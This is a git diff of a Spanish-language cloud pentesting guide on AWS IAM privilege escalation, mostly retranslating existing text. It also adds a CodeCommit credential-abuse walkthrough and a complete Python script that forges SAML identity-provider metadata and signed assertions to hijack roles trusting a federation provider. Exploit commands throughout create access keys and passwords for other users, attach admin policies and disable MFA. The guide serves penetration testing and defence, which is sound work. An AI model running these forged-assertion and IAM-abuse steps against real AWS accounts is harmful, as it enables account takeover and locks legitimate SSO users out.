diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md index 0afa7e482..219fdc790 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md @@ -4,7 +4,7 @@ ## IAM -Para más información sobre IAM consulta: +Para más información sobre IAM, consulta: {{#ref}} ../../aws-services/aws-iam-enum.md @@ -12,42 +12,42 @@ Para más información sobre IAM consulta: ### **`iam:CreatePolicyVersion`** -Concede la capacidad de crear una nueva versión de una política de IAM, evitando la necesidad del permiso `iam:SetDefaultPolicyVersion` usando la bandera `--set-as-default`. Esto permite definir permisos personalizados. +Otorga la capacidad de crear una nueva versión de una política de IAM, evitando la necesidad del permiso `iam:SetDefaultPolicyVersion` al usar la opción `--set-as-default`. Esto permite definir permisos personalizados. -**Exploit Command:** +**Comando de Exploit:** ```bash aws iam create-policy-version --policy-arn \ --policy-document file:///path/to/administrator/policy.json --set-as-default ``` -**Impacto:** Escala privilegios directamente permitiendo cualquier acción sobre cualquier recurso. +**Impacto:** Escala privilegios directamente al permitir cualquier acción sobre cualquier recurso. ### **`iam:SetDefaultPolicyVersion`** -Permite cambiar la versión predeterminada de una policy de IAM a otra versión existente, potencialmente escalando privilegios si la nueva versión tiene más permisos. +Permite cambiar la versión predeterminada de una política de IAM a otra versión existente, lo que puede escalar privilegios si la nueva versión tiene más permisos. **Comando Bash:** ```bash aws iam set-default-policy-version --policy-arn --version-id v2 ``` -**Impacto:** Indirect privilege escalation al habilitar más permisos. +**Impacto:** Escalada de privilegios indirecta al habilitar más permisos. ### **`iam:CreateAccessKey`, (`iam:DeleteAccessKey`)** -Permite crear access key ID y secret access key para otro usuario, lo que puede conducir a una posible privilege escalation. +Permite crear access key ID y secret access key para otro usuario, lo que puede conducir a una escalada de privilegios. **Exploit:** ```bash aws iam create-access-key --user-name ``` -**Impacto:** Escalación de privilegios directa al asumir los permisos extendidos de otro usuario. +**Impacto:** Escalada directa de privilegios al asumir los permisos extendidos de otro usuario. -Ten en cuenta que un usuario solo puede tener 2 access keys creadas; por lo tanto, si un usuario ya tiene 2 access keys necesitarás el permiso `iam:DeleteAccessKey` para eliminar una de ellas y poder crear una nueva: +Tenga en cuenta que un usuario solo puede tener 2 access keys creadas, por lo que si un usuario ya tiene 2 access keys será necesario el permiso `iam:DeleteAccessKey` para eliminar una de ellas y poder crear una nueva: ```bash aws iam delete-access-key --uaccess-key-id ``` ### **`iam:CreateVirtualMFADevice` + `iam:EnableMFADevice`** -Si puedes crear un nuevo dispositivo virtual MFA y habilitarlo en otro usuario, puedes registrar efectivamente tu propio MFA para ese usuario y luego solicitar una sesión autenticada con MFA para sus credenciales. +Si puedes crear un nuevo virtual MFA device y habilitarlo en otro usuario, puedes registrar efectivamente tu propio MFA para ese usuario y luego solicitar una sesión respaldada por MFA para sus credenciales. **Exploit:** ```bash @@ -58,67 +58,93 @@ aws iam create-virtual-mfa-device --virtual-mfa-device-name aws iam enable-mfa-device --user-name --serial-number \ --authentication-code1 --authentication-code2 ``` -**Impacto:** Direct privilege escalation al tomar control de la inscripción de MFA de un usuario (y luego usar sus permisos). +**Impacto:** Escalada de privilegios directa al tomar control de la inscripción MFA de un usuario (y luego usar sus permisos). ### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`** -Permite crear o actualizar un login profile, incluyendo establecer contraseñas para el inicio de sesión en la consola de AWS, lo que conduce a Direct privilege escalation. +Permite crear o actualizar un login profile, incluyendo establecer contraseñas para el acceso a la consola de AWS, lo que conduce a una escalada de privilegios directa. -**Exploit para la creación:** +**Explotación para la creación:** ```bash aws iam create-login-profile --user-name target_user --no-password-reset-required \ --password '' ``` -**Exploit para actualización:** +**Exploit para Actualización:** ```bash aws iam update-login-profile --user-name target_user --no-password-reset-required \ --password '' ``` -**Impact:** Escalado de privilegios directo al iniciar sesión como cualquier usuario. +**Impacto:** Direct privilege escalation al iniciar sesión como el usuario "any". ### **`iam:UpdateAccessKey`** -Permite habilitar una clave de acceso deshabilitada, lo que podría derivar en acceso no autorizado si el atacante posee dicha clave. +Permite habilitar una access key deshabilitada, lo que potencialmente puede conducir a acceso no autorizado si el attacker posee la access key deshabilitada. **Exploit:** ```bash aws iam update-access-key --access-key-id --status Active --user-name ``` -**Impacto:** Escalada directa de privilegios al reactivar access keys. +**Impacto:** Escalada de privilegios directa al reactivar access keys. ### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`** -Permite generar o restablecer credenciales para servicios específicos de AWS (p. ej., CodeCommit, Amazon Keyspaces), heredando los permisos del usuario asociado. +Permite generar o restablecer credenciales para servicios específicos de AWS (más comúnmente **CodeCommit**). Estas **no** son AWS API keys: son credenciales **username/password** para un servicio específico, y solo puedes usarlas donde ese servicio las acepte. -**Exploit para la creación:** +**Creación:** ```bash -aws iam create-service-specific-credential --user-name --service-name +aws iam create-service-specific-credential --user-name --service-name codecommit.amazonaws.com ``` -**Exploit para Reset:** +Guardar: + +- `ServiceSpecificCredential.ServiceUserName` +- `ServiceSpecificCredential.ServicePassword` + +**Ejemplo:** +```bash +# Find a repository you can access as the target +aws codecommit list-repositories + +export REPO_NAME="" +export AWS_REGION="us-east-1" # adjust if needed + +# Git URL (HTTPS) +export CLONE_URL="https://git-codecommit.${AWS_REGION}.amazonaws.com/v1/repos/${REPO_NAME}" + +# Clone and use the ServiceUserName/ServicePassword when prompted +git clone "$CLONE_URL" +cd "$REPO_NAME" +``` +> Nota: La contraseña del servicio a menudo contiene caracteres como `+`, `/` y `=`. Usar el prompt interactivo suele ser lo más sencillo. Si la insertas en una URL, primero haz URL-encode. + +En este punto puedes leer todo lo que el usuario objetivo pueda acceder en CodeCommit (por ejemplo, un leaked credentials file). Si recuperas **AWS access keys** del repo, configura un nuevo perfil de AWS CLI con esas keys y luego accede a recursos (por ejemplo, leer una flag desde Secrets Manager): +```bash +aws secretsmanager get-secret-value --secret-id --profile +``` +**Restablecer:** ```bash aws iam reset-service-specific-credential --service-specific-credential-id ``` -**Impact:** Escalada directa de privilegios dentro de los permisos de servicio del usuario. +**Impacto:** Escalada de privilegios a los permisos del usuario objetivo para el servicio dado (y potencialmente más allá si pivotas usando datos recuperados de ese servicio). ### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`** -Permite adjuntar políticas a usuarios o grupos, escalando directamente privilegios al heredar los permisos de la política adjunta. +Permite adjuntar policies a usuarios o grupos, escalando privilegios directamente al heredar los permisos de la policy adjunta. -**Exploit para el usuario:** +**Exploit para User:** ```bash aws iam attach-user-policy --user-name --policy-arn "" ``` -**Exploit para el Grupo:** +**Exploit para Grupo:** ```bash aws iam attach-group-policy --group-name --policy-arn "" ``` -**Impacto:** Escalada de privilegios directa a todo lo que la política conceda. +**Impacto:** Escalada directa de privilegios a todo lo que permita la política. ### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`** -Permite adjuntar o aplicar políticas a roles, usuarios o grupos, permitiendo una escalada de privilegios directa al otorgar permisos adicionales. +Permite adjuntar o aplicar políticas a roles, usuarios o grupos, habilitando la escalada directa de privilegios al conceder permisos adicionales. -**Exploit para Role:** +**Exploit for Role:** ```bash aws iam attach-role-policy --role-name --policy-arn "" ``` @@ -150,24 +176,24 @@ Puedes usar una política como: ### **`iam:AddUserToGroup`** -Permite añadirse a un grupo de IAM, escalando privilegios al heredar los permisos del grupo. +Permite añadirse a un grupo IAM, escalando privilegios al heredar los permisos del grupo. **Exploit:** ```bash aws iam add-user-to-group --group-name --user-name ``` -**Impacto:** Escalada de privilegios directa al nivel de permisos del grupo. +**Impact:** Escalada de privilegios directa al nivel de permisos del grupo. ### **`iam:UpdateAssumeRolePolicy`** -Permite alterar el documento de la assume role policy de un role, habilitando la asunción del role y sus permisos asociados. +Permite alterar el documento de política de assume role de un role, permitiendo la asunción del role y sus permisos asociados. **Exploit:** ```bash aws iam update-assume-role-policy --role-name \ --policy-document file:///path/to/assume/role/policy.json ``` -Cuando la política se parece a la siguiente, la cual otorga al usuario permiso para asumir el rol: +Cuando la política tiene el siguiente aspecto, que otorga al usuario permiso para asumir el rol: ```json { "Version": "2012-10-17", @@ -182,7 +208,7 @@ Cuando la política se parece a la siguiente, la cual otorga al usuario permiso ] } ``` -**Impacto:** Escalada de privilegios directa al asumir los permisos de cualquier rol. +**Impacto:** Escalada de privilegios directa al asumir los permisos de cualquier role. ### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`** @@ -192,28 +218,28 @@ Permite subir una clave pública SSH para autenticarse en CodeCommit y desactiva ```bash aws iam upload-ssh-public-key --user-name --ssh-public-key-body ``` -**Exploit para desactivación de MFA:** +**Exploit para la desactivación de MFA:** ```bash aws iam deactivate-mfa-device --user-name --serial-number ``` -**Impacto:** Escalado de privilegios indirecto al habilitar acceso a CodeCommit o desactivar la protección MFA. +**Impacto:** Escalada de privilegios indirecta al habilitar acceso a CodeCommit o deshabilitar la protección MFA. ### **`iam:ResyncMFADevice`** -Permite la resincronización de un dispositivo MFA, lo que potencialmente conduce a un escalado de privilegios indirecto al manipular la protección MFA. +Permite la resincronización de un dispositivo MFA, lo que podría conducir a una escalada de privilegios indirecta al manipular la protección MFA. **Comando Bash:** ```bash aws iam resync-mfa-device --user-name --serial-number \ --authentication-code1 --authentication-code2 ``` -**Impacto:** Indirect privilege escalation by adding or manipulating MFA devices. +**Impacto:** Escalada de privilegios indirecta al añadir o manipular dispositivos MFA. ### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`) -Con estos permisos puedes **cambiar los metadatos XML de la conexión SAML**. Luego, podrías abusar de la **federación SAML** para **iniciar sesión** con cualquier **role que confíe** en ella. +Con estos permisos puedes **cambiar los metadatos XML de la conexión SAML**. Luego, podrías abusar de la **SAML federation** para **login** con cualquier **role que confíe** en ella. -Ten en cuenta que al hacer esto **los usuarios legítimos no podrán iniciar sesión**. Sin embargo, podrías obtener el XML, reemplazarlo por el tuyo, iniciar sesión y volver a configurar lo anterior. +Ten en cuenta que al hacer esto **legit users won't be able to login**. Sin embargo, podrías obtener el XML, poner el tuyo, login y restaurar la configuración anterior. ```bash # List SAMLs aws iam list-saml-providers @@ -229,12 +255,258 @@ aws iam update-saml-provider --saml-metadata-document --saml-provider-ar # Optional: Set the previous XML back aws iam update-saml-provider --saml-metadata-document --saml-provider-arn ``` -> [!NOTE] -> TODO: Una herramienta capaz de generar los metadatos SAML e iniciar sesión con un rol especificado +**Ataque de extremo a extremo:** + +1. Enumera el SAML provider y un role que confía en él: +```bash +export AWS_REGION=${AWS_REGION:-us-east-1} + +aws iam list-saml-providers +export PROVIDER_ARN="arn:aws:iam:::saml-provider/" + +# Backup current metadata so you can restore it later: +aws iam get-saml-provider --saml-provider-arn "$PROVIDER_ARN" > /tmp/saml-provider-backup.json + +# Find candidate roles and inspect their trust policy to confirm they allow sts:AssumeRoleWithSAML: +aws iam list-roles | grep -i saml || true +aws iam get-role --role-name "" +export ROLE_ARN="arn:aws:iam:::role/" +``` +2. Forjar metadatos de IdP + una SAML assertion firmada para el par role/provider: +```bash +python3 -m venv /tmp/saml-federation-venv +source /tmp/saml-federation-venv/bin/activate +pip install lxml signxml + +# Create /tmp/saml_forge.py from the expandable below first: +python3 /tmp/saml_forge.py --role-arn "$ROLE_ARN" --principal-arn "$PROVIDER_ARN" > /tmp/saml-forge.json +python3 - <<'PY' +import json +j=json.load(open("/tmp/saml-forge.json","r")) +open("/tmp/saml-metadata.xml","w").write(j["metadata_xml"]) +open("/tmp/saml-assertion.b64","w").write(j["assertion_b64"]) +print("Wrote /tmp/saml-metadata.xml and /tmp/saml-assertion.b64") +PY +``` +
+Expandible: /tmp/saml_forge.py script auxiliar (metadatos + aserción firmada) +```python +#!/usr/bin/env python3 +from __future__ import annotations + +import argparse +import base64 +import datetime as dt +import json +import os +import subprocess +import tempfile +import uuid + +from lxml import etree +from signxml import XMLSigner, methods + + +def _run(cmd: list[str]) -> str: +p = subprocess.run(cmd, check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True) +return p.stdout + + +def _openssl_make_key_and_cert(tmpdir: str) -> tuple[str, str]: +key_path = os.path.join(tmpdir, "key.pem") +cert_path = os.path.join(tmpdir, "cert.pem") +_run( +[ +"openssl", +"req", +"-x509", +"-newkey", +"rsa:2048", +"-keyout", +key_path, +"-out", +cert_path, +"-days", +"3650", +"-nodes", +"-subj", +"/CN=attacker-idp", +] +) +return key_path, cert_path + + +def _pem_cert_to_b64(cert_pem: str) -> str: +lines: list[str] = [] +for line in cert_pem.splitlines(): +if "BEGIN CERTIFICATE" in line or "END CERTIFICATE" in line: +continue +line = line.strip() +if line: +lines.append(line) +return "".join(lines) + + +def make_metadata_xml(cert_b64: str) -> str: +return f""" + + + + + +{cert_b64} + + + + + + +""" + + +def make_signed_saml_response(role_arn: str, principal_arn: str, key_pem: str, cert_pem: str) -> bytes: +ns = { +"saml2p": "urn:oasis:names:tc:SAML:2.0:protocol", +"saml2": "urn:oasis:names:tc:SAML:2.0:assertion", +} + +issue_instant = dt.datetime.now(dt.timezone.utc) +not_before = issue_instant - dt.timedelta(minutes=2) +not_on_or_after = issue_instant + dt.timedelta(minutes=10) + +resp_id = "_" + str(uuid.uuid4()) +assertion_id = "_" + str(uuid.uuid4()) + +response = etree.Element(etree.QName(ns["saml2p"], "Response"), nsmap=ns) +response.set("ID", resp_id) +response.set("Version", "2.0") +response.set("IssueInstant", issue_instant.isoformat()) +response.set("Destination", "https://signin.aws.amazon.com/saml") + +issuer = etree.SubElement(response, etree.QName(ns["saml2"], "Issuer")) +issuer.text = "https://attacker.invalid/idp" + +status = etree.SubElement(response, etree.QName(ns["saml2p"], "Status")) +status_code = etree.SubElement(status, etree.QName(ns["saml2p"], "StatusCode")) +status_code.set("Value", "urn:oasis:names:tc:SAML:2.0:status:Success") + +assertion = etree.SubElement(response, etree.QName(ns["saml2"], "Assertion")) +assertion.set("ID", assertion_id) +assertion.set("Version", "2.0") +assertion.set("IssueInstant", issue_instant.isoformat()) + +a_issuer = etree.SubElement(assertion, etree.QName(ns["saml2"], "Issuer")) +a_issuer.text = "https://attacker.invalid/idp" + +subject = etree.SubElement(assertion, etree.QName(ns["saml2"], "Subject")) +name_id = etree.SubElement(subject, etree.QName(ns["saml2"], "NameID")) +name_id.set("Format", "urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified") +name_id.text = "attacker" + +subject_conf = etree.SubElement(subject, etree.QName(ns["saml2"], "SubjectConfirmation")) +subject_conf.set("Method", "urn:oasis:names:tc:SAML:2.0:cm:bearer") +subject_conf_data = etree.SubElement(subject_conf, etree.QName(ns["saml2"], "SubjectConfirmationData")) +subject_conf_data.set("NotOnOrAfter", not_on_or_after.isoformat()) +subject_conf_data.set("Recipient", "https://signin.aws.amazon.com/saml") + +conditions = etree.SubElement(assertion, etree.QName(ns["saml2"], "Conditions")) +conditions.set("NotBefore", not_before.isoformat()) +conditions.set("NotOnOrAfter", not_on_or_after.isoformat()) + +audience_restriction = etree.SubElement(conditions, etree.QName(ns["saml2"], "AudienceRestriction")) +audience = etree.SubElement(audience_restriction, etree.QName(ns["saml2"], "Audience")) +audience.text = "https://signin.aws.amazon.com/saml" + +attr_stmt = etree.SubElement(assertion, etree.QName(ns["saml2"], "AttributeStatement")) + +attr_role = etree.SubElement(attr_stmt, etree.QName(ns["saml2"], "Attribute")) +attr_role.set("Name", "https://aws.amazon.com/SAML/Attributes/Role") +attr_role_value = etree.SubElement(attr_role, etree.QName(ns["saml2"], "AttributeValue")) +attr_role_value.text = f"{role_arn},{principal_arn}" + +attr_session = etree.SubElement(attr_stmt, etree.QName(ns["saml2"], "Attribute")) +attr_session.set("Name", "https://aws.amazon.com/SAML/Attributes/RoleSessionName") +attr_session_value = etree.SubElement(attr_session, etree.QName(ns["saml2"], "AttributeValue")) +attr_session_value.text = "saml-session" + +key_bytes = open(key_pem, "rb").read() +cert_bytes = open(cert_pem, "rb").read() + +signer = XMLSigner( +method=methods.enveloped, +signature_algorithm="rsa-sha256", +digest_algorithm="sha256", +c14n_algorithm="http://www.w3.org/2001/10/xml-exc-c14n#", +) +signed_assertion = signer.sign( +assertion, +key=key_bytes, +cert=cert_bytes, +reference_uri=f"#{assertion_id}", +id_attribute="ID", +) + +response.remove(assertion) +response.append(signed_assertion) + +return etree.tostring(response, xml_declaration=True, encoding="utf-8") + + +def main() -> None: +ap = argparse.ArgumentParser() +ap.add_argument("--role-arn", required=True) +ap.add_argument("--principal-arn", required=True) +args = ap.parse_args() + +with tempfile.TemporaryDirectory() as tmp: +key_path, cert_path = _openssl_make_key_and_cert(tmp) +cert_pem = open(cert_path, "r", encoding="utf-8").read() +cert_b64 = _pem_cert_to_b64(cert_pem) + +metadata_xml = make_metadata_xml(cert_b64) +saml_xml = make_signed_saml_response(args.role_arn, args.principal_arn, key_path, cert_path) +saml_b64 = base64.b64encode(saml_xml).decode("ascii") + +print(json.dumps({"metadata_xml": metadata_xml, "assertion_b64": saml_b64})) + + +if __name__ == "__main__": +main() +``` +
+ +3. Actualiza los metadatos del proveedor SAML con el certificado de tu IdP, asume el rol y usa las credenciales STS devueltas: +```bash +aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \ +--saml-metadata-document file:///tmp/saml-metadata.xml + +# Assertion is base64 and can be long. Keep it on one line: +ASSERTION_B64=$(tr -d '\n' [!WARNING] +> Actualizar los metadatos del proveedor SAML es disruptivo: mientras sus metadatos estén vigentes, los usuarios legítimos de SSO podrían no poder autenticarse. ### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**) -(No estoy seguro de esto) Si un atacante tiene estos **permisos** podría añadir un nuevo **Thumbprint** para lograr iniciar sesión en todos los roles que confían en el proveedor. +(No estoy seguro de esto) Si un atacante tiene estas **permissions** podría añadir un nuevo **Thumbprint** para poder iniciar sesión en todos los roles que confían en el proveedor. ```bash # List providers aws iam list-open-id-connect-providers @@ -245,7 +517,7 @@ aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-ar ``` ### `iam:PutUserPermissionsBoundary` -Este permiso permite a un atacante actualizar el límite de permisos (permissions boundary) de un usuario, pudiendo así escalar sus privilegios al permitirle realizar acciones que normalmente están restringidas por sus permisos existentes. +Este permiso permite a un atacante actualizar el límite de permisos de un usuario, potencialmente escalando sus privilegios al permitirle realizar acciones que normalmente están restringidas por sus permisos actuales. ```bash aws iam put-user-permissions-boundary \ --user-name \ @@ -268,7 +540,7 @@ Un ejemplo de una política que no aplica ninguna restricción es: ``` ### `iam:PutRolePermissionsBoundary` -Un actor con iam:PutRolePermissionsBoundary puede establecer un límite de permisos en un rol existente. El riesgo surge cuando alguien con este permiso cambia el límite de un rol: pueden restringir indebidamente las operaciones (provocando interrupciones del servicio) o, si adjuntan un límite permisivo, ampliar efectivamente lo que el rol puede hacer y escalar privilegios. +Un actor con iam:PutRolePermissionsBoundary puede establecer un límite de permisos en un rol existente. El riesgo surge cuando alguien con este permiso cambia el límite de un rol: puede restringir indebidamente operaciones (causando interrupciones del servicio) o, si adjunta un límite permisivo, ampliar efectivamente lo que el rol puede hacer y escalar privilegios. ```bash aws iam put-role-permissions-boundary \ --role-name \